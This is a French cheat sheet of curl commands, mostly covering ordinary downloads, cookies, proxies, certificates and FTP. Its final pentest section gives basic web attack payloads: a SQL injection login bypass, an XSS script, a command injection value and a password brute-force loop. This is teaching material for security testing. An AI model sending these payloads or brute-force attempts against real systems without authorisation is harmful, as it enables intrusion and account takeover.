# Guide des commandes `curl`
## Table des matières
- [Commandes de base `curl`](#commandes-de-base-curl)
- [Authentification](#authentification)
- [Envoi de données](#envoi-de-données)
- [Gestion des cookies](#gestion-des-cookies)
- [Téléchargement de fichiers](#téléchargement-de-fichiers)
- [Limiter le débit](#limiter-le-débit)
- [Référent et User-Agent](#référent-et-user-agent)
- [Utilisation de proxy](#utilisation-de-proxy)
- [HTTPS et certificats](#https-et-certificats)
- [Résolution DNS et interfaces réseau](#résolution-dns-et-interfaces-réseau)
- [FTP](#ftp)
- [Techniques de Pentest pour Serveur Web](#techniques-de-pentest-pour-serveur-web)
---
## Commandes de base `curl`
```sh
# Télécharger une page web
curl http://example.com
# Télécharger un fichier et conserver son nom original
curl -O http://example.com/file.txt
# Télécharger un fichier et le renommer localement
curl -o file.txt http://example.com/file.txt
# Reprendre un téléchargement interrompu
curl -C - -O http://example.com/file.zip
# Télécharger un fichier uniquement s'il a été modifié depuis une date spécifique
curl -z file.txt http://example.com/file.txt
```
## Authentification
```sh
# Authentification de base
curl -u user:password http://example.com
```
## Envoi de données
```sh
# Envoyer des données en POST
curl -d "name=value" http://example.com
# Envoyer des données en spécifiant la méthode POST
curl -X POST -d "name=value" http://example.com
# Envoyer des données avec des en-têtes personnalisés
curl -H "X-Header: value" http://example.com
```
## Gestion des cookies
```sh
# Envoyer des cookies
curl -b "name=value" http://example.com
# Enregistrer des cookies dans un fichier
curl -c cookies.txt http://example.com
# Utiliser des cookies depuis un fichier
curl -b cookies.txt http://example.com
```
## Téléchargement de fichiers
```sh
# Télécharger un fichier avec un formulaire
curl -F "name=@file.txt" http://example.com
```
## Limiter le débit
```sh
# Limiter le débit de téléchargement
curl --limit-rate 100K http://example.com
```
## Référent et User-Agent
```sh
# Spécifier un référent
curl -e http://referer.com http://example.com
# Spécifier un User-Agent
curl -A "User-Agent" http://example.com
```
## Utilisation de proxy
```sh
# Utiliser un proxy
curl -x proxy.example.com:8080 http://example.com
# Authentification avec un proxy
curl --proxy-user user:password http://example.com
```
## HTTPS et certificats
```sh
# Ignorer les erreurs de certificat
curl -k https://example.com
# Utiliser un certificat CA personnalisé
curl --cacert ca.pem https://example.com
# Utiliser un certificat client
curl --cert cert.pem https://example.com
# Utiliser une clé privée
curl --key key.pem https://example.com
```
## Résolution DNS et interfaces réseau
```sh
# Résoudre un nom de domaine avec une adresse IP spécifique
curl --resolve example.com:443:127.0.0.1 https://example.com
# Utiliser une interface réseau spécifique
curl --interface eth0 http://example.com
# Spécifier des serveurs DNS
curl --dns-servers 8.8.8.8 http://example.com
# Utiliser une interface réseau pour les requêtes DNS
curl --dns-interface eth0 http://example.com
```
## FTP
```sh
# Mode passif FTP
curl --ftp-pasv ftp://example.com
# Utiliser une alternative pour la commande USER en FTP
curl --ftp-alternative-to-user "USER newuser" ftp://example.com
# Changer le comportement du mode FTP
curl --ftp-method singlecwd ftp://example.com
# Ignorer l'adresse IP dans les réponses PASV FTP
curl --ftp-skip-pasv-ip ftp://example.com
```
---
## Techniques de Pentest pour Serveur Web
### Détection des en-têtes HTTP
```sh
# Voir les en-têtes de réponse HTTP
curl -I http://example.com
# Inclure les en-têtes de réponse dans la sortie
curl -i http://example.com
```
### Exploration de répertoires
```sh
# Tester l'existence d'un répertoire ou d'un fichier
curl -o /dev/null -s -w "%{http_code}" http://example.com/admin/
```
### Injection SQL
```sh
# Envoyer une requête SQL malveillante
curl -d "username=' OR '1'='1'; -- " -X POST http://example.com/login
```
### XSS (Cross-Site Scripting)
```sh
# Tester une injection XSS
curl -d "input=<script>alert('XSS')</script>" -X POST http://example.com/search
```
### Command Injection
```sh
# Tester une injection de commande
curl -d "input=value;ls -l" -X POST http://example.com/command
```
### Brute Force
```sh
# Script de brute force simple pour mots de passe
for i in $(cat wordlist.txt); do
curl -u user:$i http://example.com/login
done
```
### Test des paramètres de requête
```sh
# Tester différents paramètres de requête
curl http://example.com/page?id=1
curl http://example.com/page?id=2
curl http://example.com/page?id=3
```
### Analyse des sessions
```sh
# Tester des cookies de session
curl -b "sessionid=XYZ123" http://example.com/dashboard
```
---